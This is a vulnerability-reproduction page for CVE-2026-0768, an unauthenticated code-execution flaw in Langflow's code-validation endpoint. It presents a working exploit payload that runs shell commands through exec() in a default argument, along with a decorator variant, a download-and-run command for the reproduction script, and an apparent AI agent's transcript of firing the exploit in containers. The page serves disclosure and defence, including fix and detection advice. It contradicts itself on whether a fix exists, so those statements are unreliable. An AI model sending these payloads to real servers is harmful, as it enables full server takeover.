Skip to content

CVE-2026-0768: Verified Reproduction

CVE-2026-0768: Langflow contains an unauthenticated remote code execution vulnerability in the validate endpoint that can lead to arbitrary Python code execution as root.

CVE-2026-0768 is verified against langflow-ai/langflow · PyPI. Affected versions: Endpoint fully unauthenticated in langflow <= 1.2.x; exec(code_obj) of user code persists through >= 1.8.0-rc. NO COMPLETE FIX EXISTS. Fixed in unknown. Vulnerability class: RCE. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00342.

REPRO-2026-00342 langflow-ai/langflow · PyPI RCE Sep 2, 2026 CVE entry .txt
Severity
CRITICAL
CVSS
9.8
Confidence
HIGH
Reproduced in
63m 8s
Tool calls
227
Spend
$3.52
01 · Overview

What Is CVE-2026-0768?

CVE-2026-0768 is a critical-severity RCE vulnerability affecting langflow-ai/langflow Endpoint fully unauthenticated in langflow <= 1.2.x; exec(code_obj) of user code persists through >= 1.8.0-rc. NO COMPLETE FIX EXISTS.. Pruva has independently reproduced it and publishes a verified, runnable proof-of-concept (reproduction REPRO-2026-00342).

02 · Severity & CVSS

CVE-2026-0768 Severity & CVSS Score

CVE-2026-0768 is rated critical severity, with a CVSS base score of 9.8 out of 10.

CRITICAL threat level
9.8 / 10 CVSS base
Weakness CWE-94 — Improper Control of Generation of Code ('Code Injection')

Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.

03 · Affected Versions

Affected langflow-ai/langflow Versions

langflow-ai/langflow · PyPI versions Endpoint fully unauthenticated in langflow <= 1.2.x; exec(code_obj) of user code persists through >= 1.8.0-rc. NO COMPLETE FIX EXISTS. are affected.

How to Reproduce CVE-2026-0768

$ pruva-verify REPRO-2026-00342
or curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00342/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for CVE-2026-0768

Remote code execution — reproduced
  • reached the target end-to-end
  • full exploit chain demonstrated
  • on the real production code path
  • high confidence
  • the upstream fix blocks the same trigger
Trigger

Unauthenticated POST /api/v1/validate/code JSON body {"code": "def exploit(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"id\", shell=True))')): pass"} (plus @exec decorator variant and marker-writing commands)

Attack chain
  1. HTTP POST /api/v1/validate/code
  2. langflow validate_code()
  3. ast.parse
  4. compile+exec of top-level FunctionDef
  5. default-arg exec() evaluated at definition time
  6. subprocess.check_output(shell=True) in server process
  7. output exfiltrated in detail.function.errors[0]
How the agent worked 494 events · 227 tool calls · 1h 3m
1h 3mDuration
227Tool calls
87Reasoning steps
494Events
18Dead-ends
Agent activity over 1h 3m
Policy
1
Support
5
Repro
125
Judge
29
Variant
329
Verify
1
0:0062:53

Root Cause and Exploit Chain for CVE-2026-0768

Versions: Unauthenticated on langflow <= 1.2.x (verified on the official image v1.1.1). Version 1.3.0 (commit faac4db, PR #6911) added get_current_active_user auth to the route only — exec(code_obj) of user code survives, and LANGFLOW_AUTO_LOGIN=true (the default) auto-authenticates requests, so default 1.3.0+ deployments remain effectively unauthenticated. Any authenticated user retains RCE on 1.3.0+. No complete fix exists as of the disclosed range (survives through >= 1.8.0-rc per advisory).

Langflow (<= 1.2.x, and partially thereafter) exposes POST /api/v1/validate/code without authentication. The endpoint calls validate_code() in src/backend/base/langflow/utils/validate.py, which ast.parse()s the attacker-supplied code field and then exec()s each top-level FunctionDef node after compiling it. Python evaluates default-argument expressions and decorators at function-definition time, so a function body that never runs still executes arbitrary expressions embedded in its default arguments or decorators. The endpoint's exception handler returns the resulting error text in the HTTP response (detail.function.errors[0]), giving a built-in exfiltration channel for command output — a fully non-blind, unauthenticated remote code execution.

  • Package/component: langflow (langflow.utils.validate.validate_code, reached from the /api/v1/validate/code FastAPI route).
  • Affected versions: Unauthenticated on langflow <= 1.2.x (verified on the official image v1.1.1). Version 1.3.0 (commit faac4db, PR #6911) added get_current_active_user auth to the route only — exec(code_obj) of user code survives, and LANGFLOW_AUTO_LOGIN=true (the default) auto-authenticates requests, so default 1.3.0+ deployments remain effectively unauthenticated. Any authenticated user retains RCE on 1.3.0+. No complete fix exists as of the disclosed range (survives through >= 1.8.0-rc per advisory).
  • Risk level: Critical (CVSS 9.8, CWE-94, ZDI-26-034 / ZDI-CAN-27322). Sibling CVE-2025-3248 (same endpoint, same root cause) is in CISA KEV.

Impact Parity

  • Disclosed/claimed maximum impact: Unauthenticated arbitrary Python code execution in the Langflow server process (advisory says "as root"; in the official container image the process runs as uid=1000(user) gid=0(root), i.e. full container compromise).
  • Reproduced impact from this run: Full parity — unauthenticated remote command execution. Two independent fresh Langflow 1.1.1 containers executed attacker-selected shell commands (id) via the default-argument exec() vector; output uid=1000(user) gid=0(root) groups=0(root) was exfiltrated in the HTTP response JSON at detail.function.errors[0]; each instance also wrote a unique marker file inside the container filesystem via the executed command (marker_output evidence). A decorator-based vector (@exec(...)) triggered the identical sink, proving payload-shape agnosticism.
  • Parity: full.
  • Not demonstrated: Nothing of the claimed impact is missing. (Note: the advisory's "as root" phrasing maps to gid=0(root) container execution observed here; the server process itself runs as uid 1000 in the official image.)

Root Cause

  1. The route POST /api/v1/validate/code (langflow <= 1.2.x) has no authentication dependency.
  2. validate_code() runs ast.parse(code), then for each top-level FunctionDef node: code_obj = compile(ast.Module(body=[node], type_ignores=[]), '<string>', 'exec'); exec(code_obj) — deliberately executing user code to "validate" it.
  3. Python evaluates default-argument expressions and decorator expressions when the def statement executes, not when the function is called. An attacker embeds exec('raise Exception(__import__("subprocess").check_output("id", shell=True))') in a default argument; it runs during exec(code_obj) inside the server process.
  4. The raised Exception text (containing the command output) is captured by the endpoint's error handling and returned to the attacker in detail.function.errors[0] — a response-side exfiltration channel making the RCE non-blind.
  5. Partial fix: langflow 1.3.0 (commit faac4db, PR #6911) added get_current_active_user to the route. Because LANGFLOW_AUTO_LOGIN=true is the default, requests are auto-authenticated and the same payload still executes on default 1.3.0 deployments (verified in this run). With LANGFLOW_AUTO_LOGIN=false, the same request is rejected with HTTP 403 An API key must be passed as query or header and no code executes.

Reproduction Steps

  1. Script: bundle/repro/reproduction_steps.sh (self-contained; run with bash bundle/repro/reproduction_steps.sh). Two consecutive successful runs confirmed idempotency (exit 0 both times).
  2. What it does:
    • Pulls digest-pinned official images: vulnerable langflowai/langflow@sha256:b56d4cfe... (v1.1.1) and fixed langflowai/langflow@sha256:8c124064... (1.3.0).
    • Starts four fresh containers: two vulnerable (LANGFLOW_AUTO_LOGIN=true), one fixed with LANGFLOW_AUTO_LOGIN=false (auth enforced), one fixed with defaults (auto-login).
    • Waits for GET /health == {"status":"ok"} on each.
    • Vulnerable attempts (x2): sends the exact contract payload {"code": "def exploit(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"id\", shell=True))')): pass"}; asserts HTTP 200 and uid= in detail.function.errors[0].
    • Marker-backed execution (x2 fresh instances): payload writes a unique marker file to /tmp/pruva_marker.txt inside each container via the executed command; asserts marker bytes match and uid= is exfiltrated.
    • Decorator variant: @exec(...) payload; asserts command output in function.errors[0].
    • Fixed negative control (x2): same payloads against auth-enforced 1.3.0; asserts 401/403, no uid=, and no marker file created in the container.
    • Partial-fix documentation (control B): same payload against default 1.3.0 (auto-login); observes it still executes (expected partial-fix behavior, not a reproduction failure).
    • Writes bundle/repro/runtime_manifest.json with target identity (image digests) and SHA-256 of all proof artifacts; cleans up containers.
  3. Expected evidence: HTTP 200 responses containing b'uid=1000(user) gid=0(root) groups=0(root)\n' at detail.function.errors[0], marker files with exact attacker-chosen bytes, and 403 rejection on the auth-enforced fixed build.

Evidence

All artifacts under bundle/ (paths relative to bundle root), SHA-256 map in bundle/repro/runtime_manifest.json:

  • logs/reproduction_steps.log — full run transcript (diagnostic).
  • logs/repro/image_identity.txt — immutable image digests/arch used.
  • logs/repro/containers.txt — live container listing.
  • logs/repro/attempts/vuln_attempt_{1,2}_{request,response}.txt — primary payload and responses: {"imports":{"errors":[]},"function":{"errors":["b'uid=1000(user) gid=0(root) groups=0(root)\n'"]}}
  • logs/repro/attempts/vuln_marker_{a,b}_{request,response}.txt, vuln_{a,b}_marker.txt — marker-backed command execution on two fresh instances (markers PRUVA-CMDEXEC-1788272103-6040-A / -B, exact bytes verified).
  • logs/repro/attempts/vuln_variant_decorator_{request,response}.txt — decorator vector output b'1000\n' (id -u).
  • logs/repro/attempts/fixed_attempt_{1,2}_{request,response}.txt, negative_control_observation.json — 403 {"detail":"An API key must be passed as query or header"}, marker absent.
  • logs/repro/attempts/fixed_auto_attempt_1_{request,response}.txt — 1.3.0 default deployment still executes (partial fix).

Environment: Docker (overlay2) on linux/x86_64; official images langflowai/langflow v1.1.1 (digest sha256:b56d4cfe18284e9fb2f1ec2d1bc9a29107a8c893397543e4937a55cda0136cd3) and 1.3.0 (digest sha256:8c124064a4410ceff7a7ffbee3aec393e3b9fb2e3e43a163b537074143a38ca5); no sanitizers or instrumentation; plain HTTP via curl.

Exploit knowledge records (current run): primitive 9199a628-4fa2-4c50-9517-54e12e959e07 (control_flow_influence — full attacker control of executed Python via the validate_code exec sink) and derived capability c216aee7-41df-4f5f-b157-9fc7518764cf (command_execution, generic_runtime attestation, two marker-backed process samples + negative control). ⚠️ Record 2a7dbd1c-4e51-4243-87b6-0e8bfb97fe28 in bundle/repro/exploit_knowledge.json was an accidental placeholder submission ("address_disclosure", title "Placeholder") and is invalid — no address disclosure was observed in this run; it must be ignored by downstream stages and is not part of any composition.

Recommendations / Next Steps

  • Fix: stop exec()ing user-supplied code during validation. Validate with ast.parse + a strict allowlist walk over the AST (rejecting exec/eval/__import__/dunder attribute access anywhere in the tree — defaults, decorators, lambdas, comprehensions — not just function bodies), or run validation in a sandboxed subprocess with no network/fs and resource limits. Auth alone is not a fix.
  • Upgrade guidance: no complete fix exists in the disclosed range; 1.3.0+ only adds route auth, defeated by default LANGFLOW_AUTO_LOGIN=true. Set LANGFLOW_AUTO_LOGIN=false + API-key auth to at least force authentication, and restrict /api/v1/validate/code at the reverse proxy/WAF.
  • Detection: requests to /api/v1/validate/code whose body contains default-arg/decorator exec(/eval(/__import__(/subprocess patterns; EDR: Langflow python worker spawning shell children.

Additional Notes

  • Idempotency: the script removes prior containers, reclaims ports 27860–27863, rewrites attempt files, and passed two consecutive clean runs (exit 0, all checks green each time).
  • Limitations: host ports are fixed (27860–27863) and must be free; the script checks and fails fast if occupied. First execution on a cold Docker cache pulls ~2 images (several minutes); subsequent runs reuse them. The 1.3.0 "fixed" image is a partial-fix control (route auth added), matching the advisory's affected/fix state — the exec sink itself remains exploitable post-auth, which is exactly what control B documents and what the vuln_variant stage can explore further.
  • Marker evidence files were extracted with docker exec cat (not docker cp) to preserve worker file ownership in the bundle.

CVE-2026-0768 Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.

Full session Replay every step — scrub the timeline or play it back.

Event 1/40
0:002:31
0:00
session startedaccounts/fireworks/models/glm-5p3 · CVE-2026-0768 · REPRO-20
0:18
0:19
extract_facts
no facts extracted
0:21
0:21
supportclaim_contract
0:26
0:27
0:29
0:29
0:29
0:30
0:30
0:32
0:33
$ls -la /pruva/project-cache/repo-mirrors/ && cat /pruva/project-cache/.pruva/cache_manifest.json && cat /workspace/bundle/ticket.json | head -100
0.5s
{"cwd":"/workspace","duration_ms":79,"exit_code":0,"stderr":"","stdout":"total 0\ndrwx------ 2 vscode vscode 40 Sep  1 13:49 .\ndrwx------ 4 vscode vscode 80 Sep  1 13:49 ..\n{\n  \"schema_version\": 1,\n  \"entries\": [\n    {\n      \"path\": \"repo-mirrors\",\n      \"reuse_class\": \"repo\",\n      \"provenance\": \"run_generated\"\n    }\n  ]\n}{\"claim\":{\"argus_claim_ref\":null,\"attacker_control\":\"unauthenticated attacker sends JSON body to /api/v1/validate/code containing Python code with malicious FunctionDef default arguments or decorators\",\"claimed_surface\":\"api_remote\",\"expected_impact\":\"code_execution\",\"finding_id\":null,\"id\":null,\"required_entrypoint_detail\":\"POST /api/v1/validate/code with JSON body {\\\"code\\\": \\\"def exploit(cd=exec('raise Exception(__import__(\\\\\\\"subprocess\\\\\\\").check_output(\\\\\\\"id\\\\\\\", shell=True))')): pass\\\"}\",\"required_entrypoint_kind\":\"endpoint\",\"submission_reason\":\"ticket_derived_llm\",\"trigger_class\":\"service_api\",\"upstream_verdicts\":{\"claim_extraction\":{\"confidence\":\"high\",\"model\":\"accounts/fireworks/models/kimi-k2p7-code\",\"reason\":\"Advisory describes unauthenticated POST /a… [truncated]
0:37
0:38
$docker --version; docker ps; echo ---; ls -la /workspace/bundle/logs/repro /workspace/bundle/logs/support /workspace/bundle/support 2>/dev/null; echo ---; ls /bundle 2>/dev/null; echo ---; python3 --version; node --version; df -h /workspace | tail -1; free -g | head -2
0.6s
Docker version 29.1.3, build 29.1.3-0ubuntu4.1
CONTAINER ID   IMAGE     COMMAND   CREATED   STATUS    PORTS     NAMES
---
/workspace/bundle/logs/repro:
total 0
drwxr-xr-x 2 vscode vscode  40 Sep  1 13:49 .
drwxr-xr-x 5 vscode vscode 100 Sep  1 13:49 ..
0:43
0:44
$docker info 2>/dev/null | grep -E "Root Dir|Storage Driver|Total Memory"; echo ---; df -h /var/lib/docker 2>/dev/null | tail -1; docker pull langflowai/langflow:1.1.1 2>&1 | tail -3
1.8s
 Storage Driver: overlay2
 Total Memory: 31.28GiB
 Docker Root Dir: /home/rootless/.local/share/docker
---
Error response from daemon: manifest for langflowai/langflow:1.1.1 not found: manifest unknown: manifest unknown
1:05
$df -h /home/rootless/.local/share/docker | tail -1; echo ---; docker images; echo ---; for t in 1.1.1 v1.1.1 1.2.0 1.3.0 latest; do echo "== $t"; docker manifest inspect langflowai/langflow:$t >/dev/null 2>&1 && echo OK || echo MISSING; done
18.4s
---
IMAGE                                ID             DISK USAGE   CONTENT SIZE   EXTRA
pruva/rootless-readiness:docker-27   39a380ccc6ca       1.47MB             0B        
---
== 1.1.1
MISSING
== v1.1.1
OK
1:08
1:54
$docker pull langflowai/langflow:v1.1.1 2>&1 | tail -2
46.7s
Status: Downloaded newer image for langflowai/langflow:v1.1.1
docker.io/langflowai/langflow:v1.1.1
1:57
2:25
$for i in $(seq 1 60); do s=$(curl -s -m 5 http://localhost:7860/health 2>/dev/null); if [ -n "$s" ]; then echo "health: $s"; break; fi; sleep 5; done; docker ps --format '{{.Names}} {{.Status}}'; docker logs lf-vuln 2>&1 | tail -5
25.6s
health: {"status":"ok"}
lf-vuln Up 27 seconds
│ We collect anonymous usage data to improve Langflow.              │
│ You can opt-out by setting DO_NOT_TRACK=true in your environment. │
│                                                                   │
│ Access http://0.0.0.0:7860                                        │
╰───────────────────────────────────────────────────────────────────╯
2:28
$cd /tmp && cat > poc.json <<'EOF' {"code": "def exploit(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"id\", shell=True))')): pass"} EOF curl -s -m 60 -o /tmp/resp.json -w "HTTP %{http_code}\n" -X POST http://localhost:7860/api/v1/validate/code -H 'Content-Type: application/json' -d @poc.json; cat /tmp/resp.json | head -c 2000; echo
0.5s
HTTP 200
{"imports":{"errors":[]},"function":{"errors":["b'uid=1000(user) gid=0(root) groups=0(root)\\n'"]}}
2:31
08 · How to Fix

How to Fix CVE-2026-0768

Upgrade langflow-ai/langflow · PyPI to unknown or later.

Coming soon

Step-by-step mitigation and hardening guidance for CVE-2026-0768 — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: CVE-2026-0768

Is CVE-2026-0768 exploitable?

Yes. Pruva independently reproduced CVE-2026-0768 in langflow-ai/langflow and verified the exploit fires end-to-end in a sandboxed environment. A runnable proof-of-concept script and the full agent transcript are on this page (reproduction REPRO-2026-00342).

How severe is CVE-2026-0768?

CVE-2026-0768 is rated critical severity, with a CVSS score of 9.8 out of 10.

What type of vulnerability is CVE-2026-0768?

CVE-2026-0768 is classified as CWE-94 (Improper Control of Generation of Code ('Code Injection')), a RCE vulnerability.

Which versions of langflow-ai/langflow are affected by CVE-2026-0768?

langflow-ai/langflow Endpoint fully unauthenticated in langflow <= 1.2.x; exec(code_obj) of user code persists through >= 1.8.0-rc. NO COMPLETE FIX EXISTS. is affected by CVE-2026-0768.

Is there a fix for CVE-2026-0768?

Yes. CVE-2026-0768 is fixed in langflow-ai/langflow unknown. Upgrading to the fixed version remediates the issue.

How can I reproduce CVE-2026-0768?

Pruva provides a verified reproduction script on this page. Download it and run it inside an isolated environment such as a container or virtual machine — never against production. The reproduction was confirmed end-to-end by Pruva's automated agents.

Is the CVE-2026-0768 reproduction verified?

Yes. Pruva reproduced CVE-2026-0768 with high confidence in a sandboxed environment, capturing the full agent transcript and artifacts as evidence.
11 · References

References for CVE-2026-0768

Authoritative sources for CVE-2026-0768 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.